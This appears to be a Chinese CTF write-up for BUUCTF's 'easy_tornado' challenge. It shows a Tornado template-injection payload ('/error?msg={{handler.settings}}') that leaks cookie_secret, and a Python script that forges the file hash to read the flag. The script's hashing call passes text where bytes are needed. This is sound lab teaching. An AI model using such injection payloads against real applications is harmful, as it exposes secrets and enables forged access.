1. 程式人生 > 其它 >BUUCTF[護網杯 2018]easy_tornado

BUUCTF[護網杯 2018]easy_tornado

技術標籤:CTF_BUU_Web

[護網杯 2018]easy_tornado

在這裡插入圖片描述
開啟flag.txt
在這裡插入圖片描述
開啟welcome.txt
在這裡插入圖片描述
開啟hint.txt
在這裡插入圖片描述
filename已經在flag.txt中知道了是 /fllllllllllllag ,那現在要找到cookie_secret的值,題目提示了是tornado模板注入,又有提示是render模板注入,render是python中的一個渲染函式,也就是一種模板,通過呼叫的引數不同,生成不同的網頁 render配合Tornado使用
原理
tornado render是python中的一個渲染函式,也就是一種模板,通過呼叫的引數不同,生成不同的網頁,如果使用者對render內容可控,不僅可以注入XSS程式碼,而且還可以通過{{}}進行傳遞變數和執行簡單的表示式。

剛剛看到我們開啟的每一個檔案得到的url都是filename和filehash的組合,那在hint.txt中的md5(cookie_secret+md5(filename))應該就是filehash,現在就開始找cookie_secret


render是一個類似模板的東西,可以使用不同的引數來訪問網頁在tornado模板中,存在一些可以訪問的快速物件,例如 {{ escape(handler.settings[“cookie”]) }}
render是一個類似模板的東西,可以使用不同的引數來訪問網頁
我們就是使用這個handler.settings物件
handler 指向RequestHandler

而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!
我們正是從這裡獲取的cookie_secret

這裡我們執行/error?msg=Error測試一下
在這裡插入圖片描述
發現頁面返回的由msg的值決定,修改msg的值形成注入,獲得環境變數
payload:/error?msg={{handler.settings}}
在這裡插入圖片描述
得到cookie_secret:8959301e-a1db-4258-8319-7a5e82426597
接下來就是依據md5(cookie_secret+md5(filename))得到filehash

在這裡插入圖片描述
可以通過線上MD5加密得到flag
flag{30d58285-bc46-4457-8a48-f9c909678853}

也可以通過寫指令碼加密

import hashlib
def md5(s):
    md5 = hashlib.md5()
    md5.update(s)
    print(md5.hexdigest())
    return md5.hexdigest()
    
def filehash():
    filename = '/fllllllllllllag'
    cookie_secret = '8959301e-a1db-4258-8319-7a5e82426597'
    print(cookie_secret + md5(filename))
    print(md5(cookie_secret + md5(filename)))
if __name__ == '__main__':
    filehash()

這裡參考了一位師傅的文章
python SSTI tornado render模板注入